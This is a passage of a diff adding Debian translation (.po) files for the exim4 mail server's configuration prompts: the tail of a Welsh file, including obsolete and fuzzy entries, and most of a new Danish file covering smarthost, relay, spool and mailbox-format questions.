+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Cuddio'r enw ebost lleol mewn ebost allan?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+#, fuzzy
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Gellir ailysgrifennu pennodau post allan i'w wneud e ymddangos ei fod wedi "
+"ei gynhyrchu ar system wahanol, gan newid \"${mailname}\" \"localhost\" a a "
+"\"${dc_other_hostnames}\" yn From, Reply-To, Sender a Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+#, fuzzy
+msgid "Delivery method for local mail:"
+msgstr "danfonir post drwy westeiwr clyfar"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Symud ebost heb eu dosbarthu eto o sbŵ Exim fersiwn 3 i sbŵl Exim 4?"
+
+#, fuzzy
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Mae rhai negeseuon heb eu dosbarthu yn y cyfeiriadur sbŵl exim neu exim-"
+#~ "tls /var/spool/exim/input/. Gellir eu symud at sbŵl exim4 (/var/spool/"
+#~ "exim4/input/) nawr, a caent eu trin gan exim4."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Sylwer fod y trosiad yma yn gweithio un ffordd yn unig: mae exim4 yn "
+#~ "gallu ymddelio a sbŵl exim(3), ond nid y ffordd arall o gwmpas."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Symudwch y post dim ond os nad ydych chi'n bwriadu mynd yn ôl i exim(3), "
+#~ "neu ni ddylir symud yr ebost nawr ond â llaw ar ôl i chi drosi'ch "
+#~ "cyluniad."
+
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Os oes mwy, rhowch nhw yma, wedi eu gwahanu orwahannodau (:). Cewch adael "
+#~ "hyn yn wag os nad oes rhai."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "Rhowch yma'r parthau rydych chi'n derbyn post i'w ailddosbarthu ohonynt."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Mae'r parthau yma yn rhai rydych chi'n barod i dderbyn post ar eu cyfer o "
+#~ "unrhywle ar y Rhyngrwyd. Peidiwch a rhestru parthau lleol yma."
+
+#, fuzzy
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Dylid gwahannu'r parthau a roddir yma gan orwahannodau (:). Ceir "
+#~ "defnyddio gwylltnodau."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Gan eich bod chi wedi galluogi cuddio'r enw ebost lleol mewn post allan, "
+#~ "rhaid i chi benodi'r enw parth i ddefnyddio ar gyfer post o ddefnyddwyr "
+#~ "lleol; fel arfer dyma'r peiriand rydych chi'n defnyddio i dderbyn eich "
+#~ "ebost."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Ble bydd eich defnyddwyr yn darlleu eu ebost?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr ""
+#~ "Y peiriant sy'n trin post allan dros y gwesteiwr hwn (gwesteiwr clyfar):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "Rhowch enw gwesteiwr y peiriant y caiff post allan ei ddanfon ati."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Galluogwch hyn os ydych chi'n defnyddio deialu pan bo angen; fel arall "
+#~ "analluogwch ef."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Dewiswch y math o gyfluniad sy'n bodloni eich anghenion orau."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr ""
+#~ "Os nad ydych yn sicr yna ni ddylwch ddefnyddio cyfluniad wedi hollti."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "trosi o gyfluniad Exim fersiwn 3 â llaw"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Cyflunio Exim4 â llaw?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Dwedoch fod gennych gyfluniad Exim 3 a wneuthpwyd â llaw. Er mwyn ei "
+#~ "drosi i Exim 4, gallwch ddefnyddio'r rhaglen exim_convert4r4(8) ar ôl y "
+#~ "sefydliad.Gweler /usr/share/doc/exim4-base/examples/example.conf.gz a /"
+#~ "usr/share/doc/exim4-base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Tan mae eich system ebost wedi ei gyflunio, bydd wedi torri a ni ellir ei "
+#~ "ddefnyddio."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "Mae eich \"enw ebost\" yn cyfateb i rhan enw gwesteiwr y cyfeiriad a "
+#~ "ddangosir ar negeseuon post a newyddion allan (yn dilyn yr enw defnyddiwr "
+#~ "a'r arwydd @) os na chaiff ei guddio drwy ail-ysgrifennu."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Rhowch yma y rhwydweithi o beiriannau lleol i dderbyn post i'w "
+#~ "ailddosbarthu ohonynt."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Fe ddylai hyn gynnwys rhestr o'r holl beiriannau a fydd ein defnyddio ni "
+#~ "fel gwesteiwr clyfar."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Rhaid i chi ddyblu'r gorwahannodau mewn cyfeiriadau IPv6 (e.e. "
+#~ "5f03::1200::386f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Rhowch rhestr wedi ei wahannu a orwahannodau o gyfeiriadau IP i'w gwrando "
+#~ "arnynt. Rhaid dyblu'r gorwahannodau mewn cyfeiriadau IPv6 (e.e. "
+#~ "5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Cyflunio Evim fersiwn 4 (exim4-config)"
diff --git a/debian/po/da.po b/debian/po/da.po
new file mode 100644
index 0000000..d3fb578
--- /dev/null
+++ b/debian/po/da.po
@@ -0,0 +1,650 @@
+# Danish translation exim4.
+# Copyright (C) 2010 exim4 & nedenstående oversættere.
+# This file is distributed under the same license as the exim4 package.
+# Claus Hindsgaul <claus.hindsgaul@gmail.com>, 2004, 2006.
+# Joe Hansen (joedalton2@yahoo.dk), 2010.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2010-08-12 17:30+01:00\n"
+"Last-Translator: Joe Hansen <joedalton2@yahoo.dk>\n"
+"Language-Team: Danish <debian-l10n-danish@lists.debian.org> \n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"org>\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+# Template: exim4/purge_spool
+# ddtp-prioritize: 43
+#
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Fjern ikke-leverede breve i kø-mappen?"
+
+#
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Der er e-post i exims kø-mappe /var/spool/exim4/input, som ikke er blevet "
+"leveret endnu. Hvis du fjerner Exim, vil de ikke blive leveret, før Exim "
+"bliver geninstalleret."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Hvis denne indstilling ikke bliver valgt, vil kø-mappen blive bevaret, så "
+"brevene i køen bliver leveret senere, når Exim er geninstalleret."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Sæt exim4-config op i stedet for denne pakke"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 har udskilt sin opsætning i en dertil oprettet pakke, exim4-config. "
+"For at rekonfigurere Exim4 bruges 'dpkg-reconfigure exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "internetsted; post sendes og modtages direkte med SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "post sendt af smarthost; hentet via SMTP eller fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "post sendt af smarthost; ingen lokal post"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "kun lokal levering; ikke på et netværk"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "ingen opsætning endnu"
+
+# Template: exim4/dc_eximconfig_configtype
+# ddtp-prioritize: 43
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Overordnet postopsætningstype:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "Vælg venligst den postopsætningstype der bedst svarer til dine behov."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"System med dynamiske IP-adresser, herunder opkaldssystemer, skal generelt "
+"sættes op til at levere udgående post til en anden maskine, en såkaldt "
+"'smarthost', da mange modtagersystemer på internettet blokerer indkommende "
+"post fra dynamiske IP-adresser for at undgå spam."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Systemer med dynamiske IP-adresser kan enten modtage sin egen post, eller "
+"lokal levering kan deaktiveres fuldstændigt (undtagen post til root og "
+"postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Vil du virkelig undlade at sætte postsystemet op?"
+
+#
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Indtil postsystemet er sat op, vil det være ude af funktion og kan ikke "
+"benyttes. Du kan sætte det op senere, enten manuelt eller ved at køre 'dpkg-"
+"reconfigure exim4-config' som root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Systempostnavn:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'postnavnet' er det domænenavn, der benyttes til at 'kvalificere' "
+"postadresser uden domænenavn."
+
+#
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Dette navn vil også blive brugt af andre programmer. Det bør være et enkelt, "
+"fuldt kvalificeret domænenavn (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Hvis en e-post-adresse på den lokale maskine f.eks. er foo@eksempel.org, vil "
+"den rigtige værdi til denne indstilling være eksempel.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Dette navn vil ikke optræde i From:-linjerne (Fra-linjerne) i udgående "
+"breve, hvis omskrivning er aktiveret."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Andre mål, hvortil post skal accepteres:"
+
+#
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Angiv en liste adskilt med semikolon over modtagerdomæner, for hvilke denne "
+"maskine skal betragte sig som endestation. Disse domæner kaldes normalt "
+"'lokale domæner'. Det lokale værtsnavn (${fqdn}) og 'localhost' tilføjes "
+"altid til den her anførte liste."
+
+#
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Som udgangspunkt vil alle domæner blive behandlet ens. Hvis både a.eksempel "
+"og b.eksempel er lokale domæner, vil acc@a.eksempel og acc@b.eksempel blive "
+"leveret til samme modtager. Hvis forskellige domænenavne skal behandles "
+"forskelligt, må du selv rette i opsætningsfilerne bagefter."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domæner at videresende (»relay«) post for:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Angiv en liste adskilt med semikolon over modtagerdomæner, dette system skal "
+"videresende post for - for eksempel som reserve-MX eller post-gateway. Det "
+"betyder, at dette system vil acceptere post til disse domæner fra ethvert "
+"sted på internettet og levere dem efter de lokale leveringsregler."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Nævn ikke lokale domæner her. Du kan godt bruge jokertegn (wildcards)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Maskiner at videresende (»relay«) post for:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Angiv en liste adskilt med semikolon over IP-adresseområder, dette system "
+"ubetinget vil videresende post for, og dermed fungere som smarthost."
+
+#
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Du skal bruge det almindelige adresse-/længdeformat (f.eks. 194.222.242.0/24 "
+"eller 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Lad feltet stå tomt, hvis systemet ikke skal være smarthost for andre "
+"maskiner."
+
+# Template: exim4/dc_readhost
+# ddtp-prioritize: 43
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Synligt domænenavn for lokale brugere:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Muligheden for at skjule det lokale postnavn i udgående post er aktiveret. "
+"Det er derfor nødvendigt at angive det domænenavn, dette system skal skrive "
+"i domænedelen af lokale brugeres afsenderadresser."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP-adresser eller værtsnavne på den udgående smarthost:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Angiv IP-adressen eller værtsnavnet på en postserver, dette system skal "
+"benytte som udgående smarthost. Hvis smarthosten kun accepterer din post på "
+"en anden port ende TCP/25, skal du tilføje to koloner og portnummeret (for "
+"eksempel smarthost.eksempel::587 eller 192.168.254.254::2525). Koloner i "
+"IPV6-adresser skal skrive dobbelt."
+
+#
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Hvis smarthosten kræver godkendelse, kan du se, hvordan dette sættes op, i "
+"bemærkningerne om opsætning af SMTP-godkendelse i filen /usr/share/doc/exim4-"
+"base/README.Debian.gz."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Postmodtager for root og postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Post til 'postmaster', 'root' og andre systemkonti skal videresendes til den "
+"virkelige systemadministrators brugerkonto."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Hvis feltet lades stå tomt, vil den slags post blive gemt i /var/mail/mail. "
+"Dette anbefales ikke."
+
+#
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Bemærk at post til postmaster normalt skal læses på det system, det er "
+"omdirigeret til, fremfor at videresende den til andre steder, så (mindst en "
+"af) de brugere, du vælger, bør ikke omdirigere deres post væk fra denne "
+"maskine. Man kan gennemtvinge lokal levering ved at skrive 'real-' foran "
+"adressen."
+
+#
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Ved angivelse af flere brugernavne, skal disse adskilles af mellemrum."
+
+# Template: exim4/dc_local_interfaces
+# ddtp-prioritize: 43
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP-adresser, der skal lyttes på for indkommende SMTP-forbindelser:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Angiv en liste over IP-adresser adskilt med koloner. Exims SMTP-lyttedæmon "
+"vil lytte på alle disse IP-adresser."
+
+#
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Hvis du lader denne værdi være tom, vil Exim lytte efter forbindelser på "
+"alle tilgængelige netkort."
+
+#
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Hvis dette system kun modtager e-post direkte fra lokale tjenester (og ikke "
+"fra andre værter), anbefales det at forbyde eksterne forbindelser til den "
+"lokale Eximdæmon. Sådanne tjenester inkluderer e-post-programmer (MUA'er) "
+"som kun snakker med localhost (lokalvært) samt fetchmail. Eksterne "
+"forbindelser er umulige når 127.0.0.1 indtastes her, da dette vil deaktivere "
+"lytning på offentligt tilgængelige netforbindelser."
+
+# Template: exim4/dc_minimaldns
+# ddtp-prioritize: 43
+#
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Skal antallet af DNS-forespørgsler minimeres (opkaldsforbindelse)?"
+
+#
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"I normal drifttilstand, foretager Exim DNS-opslag under opstarten og når den "
+"modtager eller afleverer beskeder o.lign. Det sker for at føre log og holde "
+"antallet af faste indstillinger i opsætningsfilen nede."
+
+#
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Hvis dette system ikke har permanent adgang til en DNS-navneserver (f.eks. "
+"hvis internetadgangen foregår via en opkaldsforbindelse), kan dette have "
+"uønskede konsekvenser. For eksempel kan opstart af Exim eller kørsel af køen "
+"(også selv om der ikke er nogen ventende beskeder) udløse en dyr "
+"opringningshændelse."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Denne indstilling bør aktiveres hvis systemet benytter en "
+"opkaldsforbindelse. Hvis det har en permanent internetforbindelse, bør den "
+"deaktiveres."
+
+# Template: exim4/dc_eximconfig_configtype
+# ddtp-prioritize: 43
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Opsætning af postserver"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Opdel opsætningen i mindre filer?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debians exim4-pakker kan enten bruge en 'ikke-opdelt opsætning', en enkelt "
+"monolitisk fil (/etc/exim4/exim4.conf.template) eller 'opdelt opsætning', "
+"hvor opsætningen beskrives i omkring 50 mindre filer i /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Ikke-opdelt opsætning er bedst til større ændringer og er generelt mere "
+"stabil, mens opdelt opsætning gør det lettere at lave mindre ændringer, men "
+"er mere skrøbelig, og kan blive ødelagt, hvis den ændres uforsigtig."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Der er en mere detaljeret diskussion om ikke-opdelte og opdelte opsætninger "
+"i de Debianspecifikke README-filer i /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Skjul lokalt postnavn i udgående post?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Brevhovederne i udgående post kan omskrives, så de lader til at være "
+"genereret på et andet system. Hvis denne indstilling vælges, genskrives "
+"'${mailname}', 'localhost' og '${dc_other_hostnames}' i felterne From, Reply-"
+"To, Sender og Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox-format i /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir-format i hjemmemappe"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Leveringsmetode for lokal post:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
